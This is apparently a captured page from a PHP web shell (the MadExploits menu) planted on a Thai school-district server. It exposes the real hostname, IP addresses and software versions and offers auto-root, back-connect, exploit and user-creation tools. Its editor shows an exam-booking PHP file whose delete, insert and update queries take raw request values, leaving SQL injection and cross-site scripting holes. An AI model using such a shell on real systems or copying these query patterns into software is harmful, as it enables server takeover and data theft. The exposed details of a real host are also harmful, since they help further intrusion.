Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
bets /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
add_score.php
1.58
KB
-rw-r--r--
add_test.php
9.11
KB
-rwxr-xr-x
curriculum.php
7.97
KB
-rwxr-xr-x
curriculum_view.php
25.22
KB
-rwxr-xr-x
examination_set.php
320
B
-rwxr-xr-x
export_to_excel.php
4.24
KB
-rw-r--r--
frm_add_test.php
1.77
KB
-rwxr-xr-x
indicator.php
37.07
KB
-rwxr-xr-x
item_display.php
6.68
KB
-rw-r--r--
khet_paper_report_1.php
61.73
KB
-rw-r--r--
khet_paper_report_2.php
65.56
KB
-rw-r--r--
khet_report_1.php
27.49
KB
-rwxr-xr-x
khet_report_1_mobile.php
8.38
KB
-rwxr-xr-x
khet_report_2.php
68.18
KB
-rwxr-xr-x
level_log.php
1.6
KB
-rw-r--r--
level_record.php
17.37
KB
-rw-r--r--
level_report_1.php
38.07
KB
-rw-r--r--
level_report_2.php
35.32
KB
-rw-r--r--
level_report_3.php
22.22
KB
-rw-r--r--
level_report_4.php
16.65
KB
-rw-r--r--
level_test.php
22.99
KB
-rw-r--r--
livesearch.php
721
B
-rwxr-xr-x
livesearch2.php
729
B
-rw-r--r--
livesearch3.php
756
B
-rw-r--r--
livesearch4.php
727
B
-rw-r--r--
livesearch5.php
1.16
KB
-rw-r--r--
livesearch6.php
1.41
KB
-rw-r--r--
master_test_report.php
16.2
KB
-rw-r--r--
permission.php
11.69
KB
-rwxr-xr-x
print_check.php
3.52
KB
-rw-r--r--
return_ajax_indicator.php
1.64
KB
-rwxr-xr-x
return_ajax_standard.php
805
B
-rwxr-xr-x
return_ajax_substance.php
1.36
KB
-rwxr-xr-x
sch_paper_report_1.php
62.36
KB
-rw-r--r--
sch_report_1.php
65.87
KB
-rwxr-xr-x
sch_report_1_mobile.php
10.62
KB
-rwxr-xr-x
school_limit.php
13.09
KB
-rw-r--r--
standard.php
19.24
KB
-rwxr-xr-x
student_paper_report_1.php
17.6
KB
-rw-r--r--
student_report_1.php
25.54
KB
-rwxr-xr-x
student_report_1_mobile.php
5.51
KB
-rwxr-xr-x
substance.php
16.58
KB
-rwxr-xr-x
test_admin.php
46.87
KB
-rwxr-xr-x
test_admin2.php
6.86
KB
-rw-r--r--
test_admin3.php
11.27
KB
-rw-r--r--
test_admin_book.php
75.57
KB
-rw-r--r--
test_admin_book2.php
19.74
KB
-rw-r--r--
test_import.php
7.86
KB
-rw-r--r--
test_item.php
93.56
KB
-rwxr-xr-x
test_master.php
46.2
KB
-rwxr-xr-x
test_qc.php
15.46
KB
-rw-r--r--
test_qc_person.php
8.05
KB
-rw-r--r--
test_sch.php
6.1
KB
-rwxr-xr-x
test_sch_2.php
26.76
KB
-rwxr-xr-x
test_student.php
34.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : school_limit.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); ?> <script type="text/javascript" src="./css/js/calendarDateInput2.js"></script> <?php require_once("modules/bets/time_inc.php"); $officer=$_SESSION['login_user_id']; if($result_permission['p3']!=1){ exit(); } //ส่วนหัว echo "<br />"; if(!(($index==1) or ($index==2) or ($index==5))){ echo "<table width='50%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>กำหนดการจองสอบ</strong></font></td></tr>"; echo "</table>"; } //ส่วนฟอร์มรับข้อมูล if($index==1){ echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>เพิ่มข้อมูลรายการสอบ</Font>"; echo "</Cener>"; echo "<Br><Br>"; echo "<Table width='600' Border='0' Bgcolor='#Fcf9d8'>"; echo "<Tr><Td align='right'>ชื่อรายการ </Td><Td align='left'><Input Type='Text' Name='item_name' id='item_name' Size='40'></Td></Tr>"; echo "<Tr><Td align='right'>วันเริ่มต้นสอบ </Td><Td align='left'>"; ?> <script>DateInput('start', true, 'YYYY-MM-DD')</script> <?php echo "</Td></Tr>"; echo "<Tr><Td align='right'>วันสิ้นสุดการสอบ </Td><Td align='left'>"; ?> <script>DateInput('stop', true, 'YYYY-MM-DD')</script> <?php echo "</Td></Tr>"; echo "<Tr><Td align='right'>จำนวนโรงเรียนสอบต่อวัน </Td><Td align='left'><Input Type='Text' Name='school_limit' id='school_limit' Size='4' maxlength='4' onkeydown='integerOnly()'></Td></Tr>"; echo "<Tr><Td align='right'>เปิดการจอง </Td>"; echo "<td><div align='left'><Select name='active' id='active' size='1'>"; echo "<option value = '1'>ใช่</option>"; echo "<option value = '0'>ไม่ใช่</option>"; echo "</select>"; echo "</div></td></tr>"; echo "<tr><td> </td><td> </td></tr>"; echo "<tr><td align='right'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url(1)'> </td>"; echo "<td align='left'><INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url(0)'></td></tr>"; echo "</Table>"; echo "</form>"; } //ส่วนยืนยันการลบข้อมูล if($index==2) { echo "<table width='500' border='0' align='center'>"; echo "<tr><td align='center'><font color='#990000' size='4'>โปรดยืนยันความต้องการลบข้อมูลอีกครั้ง</font><br></td></tr>"; echo "<tr><td align=center>"; echo "<INPUT TYPE='button' name='smb' value='ยืนยัน' onclick='location.href=\"?option=bets&task=main/school_limit&index=3&id=$_GET[id]&page=$_REQUEST[page]\"'> <INPUT TYPE='button' name='back' value='ยกเลิก' onclick='location.href=\"?option=bets&task=main/school_limit&page=$_REQUEST[page]\"'"; echo "</td></tr></table>"; } //ส่วนลบข้อมูล if($index==3){ $sql = "delete from bets_school_limit where id=$_GET[id]"; $dbquery = mysqli_query($connect,$sql); } //ส่วนบันทึกข้อมูล if($index==4){ if($_POST['active']=='1'){ $sql = "update bets_school_limit set active='0' "; $dbquery = mysqli_query($connect,$sql); } $rec_date = date("Y-m-d"); $sql = "insert into bets_school_limit (item_name, school_limit, start, stop, active, officer, rec_date) values ('$_POST[item_name]', '$_POST[school_limit]', '$_POST[start]', '$_POST[stop]', '$_POST[active]', '$officer', '$rec_date')"; $dbquery = mysqli_query($connect,$sql); } //ส่วนฟอร์มแก้ไขข้อมูล if ($index==5){ echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>แก้ไขกำหนดการจองสอบ</B></Font>"; echo "</Cener>"; echo "<Br><Br>"; echo "<Table width='600' Border= '0' Bgcolor='#Fcf9d8'>"; $sql = "select * from bets_school_limit where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); $ref_result = mysqli_fetch_array($dbquery); $start=$ref_result['start']; list($begin_year,$begin_month,$begin_day) = explode("-",$start); $stop=$ref_result['stop']; list($finish_year,$finish_month,$finish_day) = explode("-",$stop); echo "<Tr><Td align='right'>ชื่อรายการ </Td><Td align='left'><Input Type='Text' Name='item_name' id='item_name' Size='40' value='$ref_result[item_name]'></Td></Tr>"; echo "<Tr><Td align='right'>วันเริ่มต้นสอบ </Td><Td align='left'>"; ?> <script> var Y_date=<?php echo $begin_year?> var m_date=<?php echo $begin_month?> var d_date=<?php echo $begin_day?> Y_date= Y_date+'/'+m_date+'/'+d_date DateInput('start', true, 'YYYY-MM-DD',Y_date)</script> <?php echo "</Td></Tr>"; echo "<Tr><Td align='right'>วันสิ้นสุดการสอบ </Td><Td align='left'>"; ?> <script> var Y_date=<?php echo $finish_year?> var m_date=<?php echo $finish_month?> var d_date=<?php echo $finish_day?> Y_date= Y_date+'/'+m_date+'/'+d_date DateInput('stop', true, 'YYYY-MM-DD',Y_date)</script> <?php echo "</Td></Tr>"; echo "<Tr><Td align='right'>จำนวนโรงเรียนสอบต่อวัน </Td><Td align='left'><Input Type='Text' Name='school_limit' id='school_limit' Size='4' maxlength='4' onkeydown='integerOnly()' value='$ref_result[school_limit]'></Td></Tr>"; echo "<Tr><Td align='right'>เปิดการจอง </Td>"; echo "<td><div align='left'><Select name='active' id='active' size='1'>"; if($ref_result['active']==1){ $select1="selected"; $select2=""; } else{ $select1=""; $select2="selected"; } echo "<option value = '1' $select1>ใช่</option>"; echo "<option value = '0' $select2>ไม่ใช่</option>"; echo "</select>"; echo "</div></td></tr>"; echo "<tr><td> </td><td> </td></tr>"; echo "<tr><td align='right'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url_update(1)'> </td>"; echo "<td align='left'><INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url_update(0)'></td></tr>"; echo "</Table>"; echo "<Br>"; echo "<Input Type=Hidden Name='id' Value='$_GET[id]'>"; echo "<Input Type=Hidden Name='page' Value='$_GET[page]'>"; echo "</form>"; } //ส่วนปรับปรุงข้อมูล if ($index==6){ if($_POST['active']=='1'){ $sql = "update bets_school_limit set active='0' "; $dbquery = mysqli_query($connect,$sql); } $sql = "update bets_school_limit set item_name='$_POST[item_name]', active='$_POST[active]' ,start='$_POST[start]', stop='$_POST[stop]' ,school_limit='$_POST[school_limit]' where id='$_POST[id]'"; $dbquery = mysqli_query($connect,$sql); } //ส่วนปรับปรุงปีทำงานปัจจุบัน if ($index==7){ if($_GET['active']==1){ $active=0; } else{ $active=1; $sql = "update bets_school_limit set active='0' "; $dbquery = mysqli_query($connect,$sql); } $sql = "update bets_school_limit set active='$active' where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); } //ส่วนแสดงผล if(!(($index==1) or ($index==2) or ($index==5))){ //ส่วนของการแยกหน้า $pagelen=20; // 1_กำหนดแถวต่อหน้า $url_link="option=bets&task=main/school_limit"; // 2_กำหนดลิงค์ฺ $sql = "select * from bets_school_limit"; // 3_กำหนด sql $dbquery = mysqli_query($connect,$sql); $num_rows = mysqli_num_rows($dbquery ); $totalpages=ceil($num_rows/$pagelen); if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=$totalpages; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if(($totalpages>1) and ($totalpages<16)){ echo "<div align=center>"; echo "หน้า "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>15){ if($page <=8){ $e_page=15; $s_page=1; } if($page>8){ if($totalpages-$page>=7){ $e_page=$page+7; $s_page=$page-7; } else{ $e_page=$totalpages; $s_page=$totalpages-15; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>หน้าแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>หน้าก่อน </a>"; } else { echo "หน้า "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> หน้าถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> หน้าสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">หน้า</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } //จบแยกหน้า $sql = "select * from bets_school_limit order by id limit $start,$pagelen"; $dbquery = mysqli_query($connect,$sql); echo "<table width='75%' border='0' align='center'>"; echo "<Tr><Td colspan='5' align='left'><INPUT TYPE='button' name='smb' value='เพิ่มรายการ' onclick='location.href=\"?option=bets&task=main/school_limit&index=1\"'</Td></Tr>"; echo "</table>"; echo "<table width='75%' border='1' borderColor='#999999' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#FFCCCC'><Td align='center'>ที่</Td><Td align='center'>รายการ</Td><Td align='center' width='150'>วันเริ่มต้นสอบ</Td><Td align='center' width='150'>วันสิ้นสุดการสอบ</Td><Td align='center' width='100'>จำนวนโรงเรียน<br>ต่อวัน</Td><Td align='center' width='100'>เปิด/ปิด การจอง</Td><Td align='center' width='50'>ลบ</Td><Td align='center' width='50'>แก้ไข</Td></Tr>"; $N=(($page-1)*$pagelen)+1; //*เกี่ยวข้องกับการแยกหน้า $M=1; While ($result = mysqli_fetch_array($dbquery)) { $id = $result['id']; $item_name= $result['item_name']; $active = $result['active']; $start=thai_date_3($result['start']); $stop=thai_date_3($result['stop']); $school_limit=$result['school_limit']; if($active==1){ $active_pic="<img src=images/yes.png border='0' alt='ทำงานปัจจุบัน'>"; } else{ $active_pic="<img src=images/no.png border='0' alt='ไม่ใช่ทำงานปัจจุบัน'>"; } if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; echo "<Tr bgcolor=$color><Td align='center' width='50'>$N</Td><Td align='left'>$item_name</Td><td align='center'>$start</td><td align='center'>$stop</td><td align='center'>$school_limit</td><Td align='center'><a href=?option=bets&task=main/school_limit&index=7&id=$id&active=$active&page=$page>$active_pic</a></Td> <Td align='center'><a href=?option=bets&task=main/school_limit&index=2&id=$id&page=$page><img src=images/drop.png border='0' alt='ลบ'></a></a></Td> <Td align='center'><a href=?option=bets&task=main/school_limit&index=5&id=$id&page=$page><img src=images/edit.png border='0' alt='แก้ไข'></a></Td> </Tr>"; $M++; $N++; //*เกี่ยวข้องกับการแยกหน้า } echo "</Table>"; } ?> <script> function goto_url(val){ if(val==0){ callfrm("?option=bets&task=main/school_limit"); }else if(val==1){ if(frm1.item_name.value==""){ alert("กรุณากรอกชื่อรายการ"); }else if(frm1.school_limit.value<1){ alert("กรุณาระบุจำนวนโรงเรียน"); }else{ callfrm("?option=bets&task=main/school_limit&index=4"); } } } function goto_url_update(val){ if(val==0){ callfrm("?option=bets&task=main/school_limit"); }else if(val==1){ if(frm1.item_name.value==""){ alert("กรุณากรอกชื่อรายการ"); }else if(frm1.school_limit.value<1){ alert("กรุณาระบุจำนวนโรงเรียน"); }else{ callfrm("?option=bets&task=main/school_limit&index=6"); } } } </script>
Close